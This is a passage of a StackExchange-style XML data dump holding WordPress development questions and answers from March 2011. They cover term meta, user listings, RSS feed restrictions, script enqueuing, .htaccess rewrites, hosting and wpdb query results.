  <row Id="11833" PostTypeId="2" ParentId="11820" CreationDate="2011-03-12T15:23:18.650" Score="1" ViewCount="" Body="&lt;p&gt;I assume you're trying to use this when viewing a single post? For example, in &lt;code&gt;single.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you'll need to grab the terms first, &lt;em&gt;then&lt;/em&gt; grab your meta.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&#xA;if ( $terms = get_the_terms( $post-&amp;gt;ID, 'game' ) ) {&#xA;&#xA;    // $term = $terms[0]; // WRONG! $terms is indexed by term ID!&#xA;    $term = array_shift( $terms ); // RIGHT! Will get first term, and remove it from $terms array&#xA;&#xA;    echo get_term_meta( $term-&amp;gt;term_id, 'game_name', true );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the level of code has increased, you'd be much better off wrapping it in a function. Place the following in your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get the game box image for a post.&#xA; * &#xA; * @param int|object $post&#xA; * @return string&#xA; */&#xA;function get_game_box_image( $post = 0 )&#xA;{&#xA;    if ( ( !$post = get_post( $post ) ) || ( !$terms = get_the_terms( $post-&amp;gt;ID, 'game' ) ) )&#xA;        return ''; // bail&#xA;&#xA;    $term = array_shift( $terms );&#xA;    if ( $box = get_term_meta( $term-&amp;gt;term_id, 'game_box', true ) ) {&#xA;&#xA;        $rel = str_replace( content_url(), '', $box );&#xA;        if ( is_file( WP_CONTENT_DIR . '/' . ltrim( $rel, '/' ) ) )&#xA;            return '&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;img src=&quot;' . $box . '&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to display the game box image, call it like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_game_box_image(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can optionally pass a post object or ID argument to the function to get a game box image for a specific post.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-03-14T10:23:57.023" LastActivityDate="2011-03-14T10:23:57.023" CommentCount="34" />
  <row Id="11834" PostTypeId="2" ParentId="11832" CreationDate="2011-03-12T15:40:16.637" Score="4" ViewCount="" Body="&lt;p&gt;Are you using WordPress 3.1? There's a nice &lt;code&gt;get_users()&lt;/code&gt; function that'll do the trick!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ( get_users('order=DESC&amp;amp;orderby=post_count&amp;amp;number=5') as $user ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $user-&amp;gt;display_name; ?&amp;gt; (&amp;lt;?php echo $user-&amp;gt;post_count; ?&amp;gt; Posts)&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-12T15:40:16.637" CommentCount="5" />
  <row Id="11836" PostTypeId="1" AcceptedAnswerId="11987" CreationDate="2011-03-12T16:25:46.883" Score="0" ViewCount="120" Body="&lt;p&gt;One of my wordpress blog is protected by the wordpress password plugin. however, I would like provide rss features. I found how to configure wordpress plugin to make rss work.&#xA;But, by default, it seems that all the content of a post is sent by the feed.&#xA;I would like to limit the information available by rss. Ideally, I would like to provide only the title of a post by rss.&#xA;I have pictures and video (by vimeo) that have not to be available by rss !&#xA;Any help ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3891" LastEditorUserId="3891" LastEditorDisplayName="" LastEditDate="2011-03-14T15:23:31.153" LastActivityDate="2011-03-14T16:34:58.767" Title="restricted rss feed" Tags="&lt;rss&gt;&lt;password&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11837" PostTypeId="1" CreationDate="2011-03-12T16:29:42.810" Score="0" ViewCount="183" Body="&lt;p&gt;I have the following code in my sidebar to display parent category, then on hover, displays child categories.  I want include my custom taxonomies- color, style, material.  How do I do these without calling wp_list_categories() again?  Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ex_catIdArr = get_categories('exclude=9999999' . get_inc_categories(&quot;cat_exclude_&quot;) .',1');&#xA;    $catIdArr = array();&#xA;    foreach($ex_catIdArr as $ex_catIdArrObj)&#xA;    {&#xA;        $catIdArr[] = $ex_catIdArrObj-&amp;gt;term_id;&#xA;    }&#xA;    $includeCats = implode(',',$catIdArr);&#xA;    wp_list_categories('orderby=name&amp;amp;title_li=&amp;amp;include='.$includeCats);&#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-03-13T01:16:11.753" LastActivityDate="2011-03-13T01:16:11.753" Title="How to include custom taxonomies with categories in sidebar?" Tags="&lt;custom-taxonomy&gt;&lt;sidebar&gt;" CommentCount="2" />
  <row Id="11838" PostTypeId="2" ParentId="11836" CreationDate="2011-03-12T16:34:38.243" Score="1" ViewCount="" Body="&lt;p&gt;I've wrestled with this problem myself. The issue is that many RSS readers don't support authentication, so even if you manage to protect your feed, the content won't be readble for many clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the WordPress Password plugin is probably the wrong way to go. Directly from the &lt;a href=&quot;http://broome.us/archives/2007/01/31/the-wordpress-password-plugin/&quot; rel=&quot;nofollow&quot;&gt;author's site&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’ve pretty well ended support of this. I’m not intentionally avoiding emails or comments, I’m just out of time and need to make you aware there’s a better way.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I’d like to encourage you &lt;em&gt;not&lt;/em&gt; to use the WP-Password Plugin. Here’s why: It doesn’t protect items in feeds, it can be broken by future wordpress versions, it doesn’t protect media/videos/images in your feeds (only pages powered by WP), and at last check, changing WP to do what I want the plugin to do really jeopardizes it’s security of all other things WP. I just don’t want to do that to you.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Instead, I recommend using .htaccess to protect the directories you want people to see. Here’s a good tutorial on it: &lt;a href=&quot;http://www.javascriptkit.com/howto/htaccess3.shtml&quot; rel=&quot;nofollow&quot;&gt;http://www.javascriptkit.com/howto/htaccess3.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, there's your answer -- use .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cats Who Code has some nice .htaccess tricks that are applicable to WordPress listed &lt;a href=&quot;http://www.catswhocode.com/blog/10-awesome-htaccess-hacks-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It doesn't cover password protection, but it could give you some further ammo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to give the post titles but no content, why not simply use WordPress' built-in password protection mechanism? This should send the post titles but make the body of the RSS items read something like &quot;The contents of this article are protected&quot;.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2011-03-12T18:23:41.660" LastActivityDate="2011-03-12T18:23:41.660" CommentCount="1" />
  <row Id="11839" PostTypeId="1" AcceptedAnswerId="11843" CreationDate="2011-03-12T16:35:00.433" Score="0" ViewCount="218" Body="&lt;p&gt;I'm trying to call multiple JQuery scripts using wp_enqueue_script. The call to JQuery works perfectly but the second call to cufon doesn't. I'm not a php or javascript expert - could anyone lend a hand, is there a best practice method for this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;    if (!is_admin()) {&#xA;        wp_deregister_script( 'jquery' );&#xA;        wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js');&#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;}    &#xA;&#xA;add_action('init', 'my_init_method');&#xA;&#xA;function my_init_method2() {&#xA;    if (!is_admin()) {&#xA;        wp_deregister_script( 'cufon' );&#xA;        wp_register_script( 'cufon', 'http://mydomain.com/wp-content/themes/simplefolio/js/cufon-yui.js');&#xA;        wp_enqueue_script( 'cufon' );&#xA;    }&#xA;}    &#xA;&#xA;add_action('init', 'my_init_method2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3782" LastActivityDate="2011-03-12T17:02:45.813" Title="Calling multiple scripts using wp_enqueue_script" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="11840" PostTypeId="2" ParentId="11613" CreationDate="2011-03-12T16:42:15.607" Score="1" ViewCount="" Body="&lt;p&gt;Ok, that's WordPress' standard &lt;code&gt;.htaccess&lt;/code&gt; file - because all the sites use a common virtual root (think single folder) all domains are using the &lt;code&gt;.htaccess&lt;/code&gt; code. Basically you need to rewrite the code to use separate instructions for each domain e.g. this would send a request for &lt;code&gt;newdomain.com&lt;/code&gt; to a specific page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Internally rewrite new domain home page requests to a specific page&#xA;RewriteCond %{HTTP_HOST} ^www\.newdomain\.com&#xA;RewriteRule ^$ /specific-page.html [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3782" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T09:44:19.250" LastActivityDate="2011-05-12T09:44:19.250" />
  <row Id="11841" PostTypeId="2" ParentId="11189" CreationDate="2011-03-12T16:44:51.647" Score="2" ViewCount="" Body="&lt;p&gt;Zach, can you post a pastebin or other code to show how you edited? Post in that other forum too, maybe they can incorporate into next version....&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2011-03-12T16:44:51.647" CommentCount="8" />
  <row Id="11842" PostTypeId="1" AcceptedAnswerId="12080" CreationDate="2011-03-12T16:50:18.297" Score="-1" ViewCount="214" Body="&lt;p&gt;i have a custom post type 'events'. Each event (post) can have multiple dates. The dates (date, time, location) are stored as array. I need a &lt;strong&gt;query that creates a chronological list of all events&lt;/strong&gt; from the meta data (events can occur multiple times).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom-meta-box looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/h5zCd.png&quot; alt=&quot;Add Dates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting database entry in wp_postmeta has the &lt;code&gt;meta_key&lt;/code&gt; '_events_termine' with the following &lt;code&gt;meta_value&lt;/code&gt; (using WPAlchemy):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:1:{s:12:&quot;termin_group&quot;;a:2:{i:0;a:3:{s:11:&quot;termin_date&quot;;s:10:&quot;2011/03/14&quot;;s:11:&quot;termin_time&quot;;s:5:&quot;19.30&quot;;s:15:&quot;termin_location&quot;;s:15:&quot;Max-Reger-Halle&quot;;}i:1;a:3:{s:11:&quot;termin_date&quot;;s:10:&quot;2011/03/15&quot;;s:11:&quot;termin_time&quot;;s:5:&quot;20.00&quot;;s:15:&quot;termin_location&quot;;s:15:&quot;Max-Reger-Halle&quot;;}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I display the dates for a single event with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;    &amp;lt;?php global $events_meta_termine;&#xA;    $meta = get_post_meta(get_the_ID(), $events_meta_termine-&amp;gt;get_the_id(), TRUE);&#xA;    foreach ($meta['termin_group'] as $termin)&#xA;    { ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo mysql2date('D', $termin['termin_date'], true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo mysql2date('j. F Y', $termin['termin_date'], true); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $termin['termin_time']; ?&amp;gt; Uhr&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $termin['termin_location']; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xlVCe.png&quot; alt=&quot;Output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So everything works fine except i have no idea how to create a page that lists all events (title, date, location) in chronological order where a single event can occur several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i'm sorry i asked a similar question before, but i came to a dead end and had to start over.)&lt;/p&gt;&#xA;" OwnerUserId="3480" LastEditorUserId="3480" LastEditorDisplayName="" LastEditDate="2011-03-13T15:56:24.060" LastActivityDate="2011-03-15T08:47:12.223" Title="Custom Post Type 'Event': Chronological list of recurring events from meta_values in array" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;events&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="11843" PostTypeId="2" ParentId="11839" CreationDate="2011-03-12T17:02:45.813" Score="1" ViewCount="" Body="&lt;p&gt;I'm not good at this, but it could be because Cufon is not included in Wordpress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you are deregistrating a script that is not included.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-03-12T17:02:45.813" CommentCount="1" />
  <row Id="11844" PostTypeId="1" CreationDate="2011-03-12T17:48:34.753" Score="0" ViewCount="212" Body="&lt;p&gt;I'm using &lt;strong&gt;the_category();&lt;/strong&gt; on my category.php template to show the category's name — the problem is that it attaches the category's parent category. Is there any way to show only child categories using &lt;strong&gt;the_category();&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2011-03-12T17:48:34.753" Title="How to show only child categories using the_category();" Tags="&lt;categories&gt;" CommentCount="1" />
  <row Id="11845" PostTypeId="1" CreationDate="2011-03-12T17:58:23.163" Score="1" ViewCount="215" Body="&lt;p&gt;I have 4 custom post types set up in my blog and video is one of them. I want the video archives page (archives-video.php) to shop up in my primary navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I do this without writing a custom function?&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-03-13T03:16:19.280" Title="Showing up my custom post type in primary navigation" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11847" PostTypeId="2" ParentId="11816" CreationDate="2011-03-12T18:48:54.650" Score="1" ViewCount="" Body="&lt;p&gt;I've not heard of any plugin that currently provides this functionality. This sounds like a perfect opportunity for custom WP development - either you hiring someone to code this for you (which could then be very useful to others desiring the same functionality), or someone in the WP community spontaneously filling a need ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been customizing Wordpress lately to serve as a web app for all sorts of purposes I couldn't have imagined just a year ago. What you want might not exist yet, but it's totally doable...&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-03-12T18:48:54.650" CommentCount="3" />
  <row Id="11848" PostTypeId="1" CreationDate="2011-03-12T18:56:07.807" Score="0" ViewCount="90" Body="&lt;p&gt;I have been working on private pages of my WP web site, which noone other than me (a administrator) can see (since they are private).  When I look at my Google Analytics results, it shows the referrer source for those pages to be facebook.com.  I have tried two different WP plugins for google analytics and get the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?  TIA&lt;/p&gt;&#xA;" OwnerUserId="3076" LastActivityDate="2011-08-20T07:32:32.993" Title="Google Analytics Reports Wordpress as facebook.com!" Tags="&lt;google-analytics&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11849" PostTypeId="1" CreationDate="2011-03-12T19:14:38.537" Score="1" ViewCount="596" Body="&lt;p&gt;This plugin stopped working without modification. It was working last week. I've spent the last week working on something else, came back to it and not working. Any suggestions as to why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;?php&#xA;if ( is_page('home') ) { &#xA;   // If it's the home page, we want the slider, otherwise don't bother&#xA;   wp_register_script('easyslider',&#xA;       get_bloginfo('template_directory') . '/js/easySlider1.7.js');&#xA;   // enqueue the script&#xA;   wp_enqueue_script('easyslider');&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;if ( is_page('our-services') ) { &#xA;   // If it's the 'our services' page, we want the capty plug-in, otherwise don't bother&#xA;   wp_register_script('capty',&#xA;       get_bloginfo('template_directory') . '/js/jquery.capty.min.js');&#xA;   // enqueue the script&#xA;   wp_enqueue_script('capty');&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php wp_head();?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( is_front_page() ) { ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){ &#xA;        jQuery(&quot;#slider&quot;).easySlider({&#xA;            auto: true, &#xA;            continuous: true,&#xA;            numeric: true&#xA;        });&#xA;    }); &#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php }; ?&amp;gt;&#xA;&amp;lt;?php if ( is_page('our-services') ) { ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;        jQuery('#desktop,#advice,#infrastructure,#web').capty({&#xA;        animation: 'slide',&#xA;        speed:     400&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php }; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, thanks for all the answers. It seems the problem was with another plug-in; I noticed that there was a new version of that plug-in available, installed that, and now everything is fine.&lt;/p&gt;&#xA;" OwnerUserId="3425" LastEditorUserId="3425" LastEditorDisplayName="" LastEditDate="2011-03-14T15:50:58.663" LastActivityDate="2011-08-13T05:23:17.693" Title="JQuery plugin stopped working Error: jQuery(&quot;#slider&quot;).easySlider is not a function" Tags="&lt;jquery&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="11850" PostTypeId="2" ParentId="11803" CreationDate="2011-03-12T19:16:14.987" Score="1" ViewCount="" Body="&lt;p&gt;There's a crucial question that must be answered: are you able to completely manage your own linux server on your own? If you can, then you have plenty of options, and you just have to pick your price point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're like me, comfortable developing your wordpress blog, but you don't fully understand all that's required to configure, install, and secure a linux server, then nearly all of those options are useless. It's what keeps many people on low-end shared hosting (Bluehost), where they don't have to worry about anything on the server - they can just worry about their blog, and everything &quot;under the hood&quot; is taken care of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, then when you need more performance, you need to specifically look for &quot;fully managed&quot; hosting, whether on VPS or dedicated servers. And that's where your options get much slimmer (or much more expensive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue of &quot;server management&quot; is the not-so-obvious lynchpin when you're shopping for hosting. Nearly all the services you'll find will just give you a linux server (virtual or literal), throw some basic control panel on it and say &quot;good luck&quot;. If you don't know how to re-compile PHP with the proper extensions, you have to open a ticket, wait a long time, and pay through the nose for &quot;advanced tech support&quot;, as most included support only covers failure of the actual server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently moved all of my personal and client hosting to &lt;a href=&quot;http://www.unixy.net&quot; rel=&quot;nofollow&quot;&gt;Unixy&lt;/a&gt;, for one simple reason: they will do whatever I ask, whenever I ask it. They offer fully managed VPS and dedicated servers, and they really mean it. You can get a GUI control panel, but you don't even need one. You name it, they'll do it, no matter what it involves. I have yet to find any request that doesn't fall within their full-service guarantee. It's like having my own personal linux sysadmin on call 24/7, for no extra charge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Typical interaction via email&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ME: &lt;em&gt;Can I please get xdebug extension enabled?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UNIXY: (60 seconds later) &lt;em&gt;This is in progress.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UNIXY: (5 minutes later) &lt;em&gt;This is completed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm completely serious. I've never waited longer than 5 minutes to get a response to any email, even at 3AM. And while this is obviously a simple request, I've asked them to write custom backup and cloning scripts for me, even help debug custom wordpress development. Literally anything you'd ask if you had your own full-time private linux sysadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no affiliation with Unixy (and no paid affiliate link), I'm just a happy client. If you need more performance than shared hosting, but managing your own VPS is too scary, check them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.unixy.net&quot; rel=&quot;nofollow&quot;&gt;www.unixy.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-03-12T19:16:14.987" />
  <row Id="11852" PostTypeId="2" ParentId="11849" CreationDate="2011-03-12T19:42:43.243" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;code&gt;if ( is_front_page() )&lt;/code&gt; instead of &lt;code&gt;if (is_page('home'))&lt;/code&gt; at the top.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-12T19:42:43.243" CommentCount="3" />
  <row Id="11854" PostTypeId="2" ParentId="11662" CreationDate="2011-03-12T21:18:05.333" Score="1" ViewCount="" Body="&lt;p&gt;It looks as though it hasn't been updated in a while, but the &lt;a href=&quot;http://wordpress.org/extend/plugins/media-library-gallery/&quot; rel=&quot;nofollow&quot;&gt;Media Library Gallery&lt;/a&gt; plugin might be a good example to start looking at.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-03-12T21:18:05.333" />
  <row Id="11855" PostTypeId="2" ParentId="11845" CreationDate="2011-03-12T21:20:11.540" Score="0" ViewCount="" Body="&lt;p&gt;In absence of further context from you, I would advise that you create a &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;WordPress menu&lt;/a&gt; and simply add a link to your custom post type's archive page.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-03-12T21:20:11.540" CommentCount="1" />
  <row Id="11856" PostTypeId="1" CreationDate="2011-03-12T21:40:43.800" Score="0" ViewCount="198" Body="&lt;p&gt;Previously, &lt;code&gt;get_results&lt;/code&gt; worked fine for me when called with &lt;code&gt;OBJECT&lt;/code&gt;, which produced an array of objects with keys indexable like array keys, i.e. something that could be treated as an array of associative arrays. Since an update, not sure if it was from 3.0 to 3.05 or from 3.05 to 3.1 (client can't tell me when it broke) this behaviour has changed. The objects returned are now not indexables like arrays, instead producing the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Cannot use object of type stdClass as array in /usr/www/users/exclustt/wp-content/themes/openhouse_standard_version/searchresults.php on line 27&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After consulting the codex, I changed the get_results call from &lt;code&gt;OBJECT&lt;/code&gt; to &lt;code&gt;ARRAY_A&lt;/code&gt;. Where previously, the page produced output, now it produces none. Since my shared host's error logs lag by some time I can't see what the exact error is, but it seems like a segfault (I'm getting no output whatsoever, blank page). Also, trying to convert each object to an array by typecasting to array within the loop produces the same behaviour (segfault/blank page). &lt;code&gt;ARRAY_N&lt;/code&gt; is also broken in the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By constructive commenting out of code, I've narrowed down the following. Calling &lt;code&gt;get_results&lt;/code&gt; with anything other than &lt;code&gt;OBJECT&lt;/code&gt; breaks the page (no output). Calling &lt;code&gt;get_results&lt;/code&gt; with &lt;code&gt;OBJECT&lt;/code&gt; produces an array of objects that are only accessible using object oriented syntax, a change in behaviour from previously, causing my custom search code to now produce errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: (my code)&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query = &quot;SELECT post.*, convert(price.meta_value, signed) as psort FROM $wpdb-&amp;gt;posts as post &quot;.implode(&quot; &quot;, $joins).&quot; WHERE post.post_type = 'listing' AND post.post_status = 'publish' GROUP BY post.ID ORDER BY psort&quot;;&#xA; $listings = $wpdb-&amp;gt;get_results($query, ARRAY_A );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the bit that produces the white screen of death. If I use &lt;code&gt;OBJECT&lt;/code&gt; instead of &lt;code&gt;ARRAY_A&lt;/code&gt;, I get an array of objects that I can't access without having to go through every template and changing every instance where it used to be associative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looping through it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($listings as $post) {&#xA;    // set up variable names&#xA;    $citystatezip = get_post_meta($post[&quot;ID&quot;], &quot;citystatezip_value&quot;, true);&#xA;    // and quite a few others - snipped for brevity&#xA;&#xA;    // echo some stuff - snipped for brevity&#xA;    ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php print(get_permalink($post[&quot;ID&quot;])); ?&amp;gt;&quot; class=&quot;no-border&quot;&amp;gt;&#xA;                &amp;lt;img class=&quot;no-border&quot; width=&quot;200&quot; height=&quot;150&quot; alt=&quot;Image for &amp;lt;?php print($post[&quot;post_title&quot;]); ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $resized ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This used to work with &lt;code&gt;OBJECT&lt;/code&gt;, prior to the recent updates, and now no longer works. It does work if I change all associative references (ie &lt;code&gt;$post[&quot;ID&quot;]&lt;/code&gt;, etc) to object oriented syntax (ie, &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose the question boils down to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;why the sudden change in the way &lt;code&gt;get_results&lt;/code&gt; returns&lt;/li&gt;&#xA;&lt;li&gt;why does &lt;code&gt;ARRAY_A&lt;/code&gt; or &lt;code&gt;ARRAY_N&lt;/code&gt; segfault/white-screen-of-death me?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-03-12T22:22:13.203" LastActivityDate="2011-03-12T22:22:13.203" Title="Why does get_results work with OBJECT but not ARRAY_A?" Tags="&lt;customization&gt;&lt;query&gt;" CommentCount="6" />
  <row Id="11857" PostTypeId="1" CreationDate="2011-03-12T21:41:37.757" Score="0" ViewCount="205" Body="&lt;p&gt;I have a 'media' category page that pumps in videos / image galleries. I'm looking to have a smaller size video display (vimeo / youtube) on the category page, and the full size video on the single page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the size of the video embed on the fly for the both scenarios? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the loop for selecting anything in the &quot;videos&quot; category. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $videos = new WP_Query('category_name=video'); ?&amp;gt;&#xA;    &amp;lt;?php while ( $videos-&amp;gt;have_posts() ) : $videos-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Videos are entered into the post's main tinymce content editor. Am I being to vague?&lt;/p&gt;&#xA;" OwnerUserId="3899" LastEditorUserId="3899" LastEditorDisplayName="" LastEditDate="2011-03-13T14:55:17.653" LastActivityDate="2011-07-05T21:11:49.467" Title="Different size video display for category page (smaller) &amp; detail page (larger)" Tags="&lt;categories&gt;&lt;functions&gt;&lt;oembed&gt;&lt;videos&gt;" 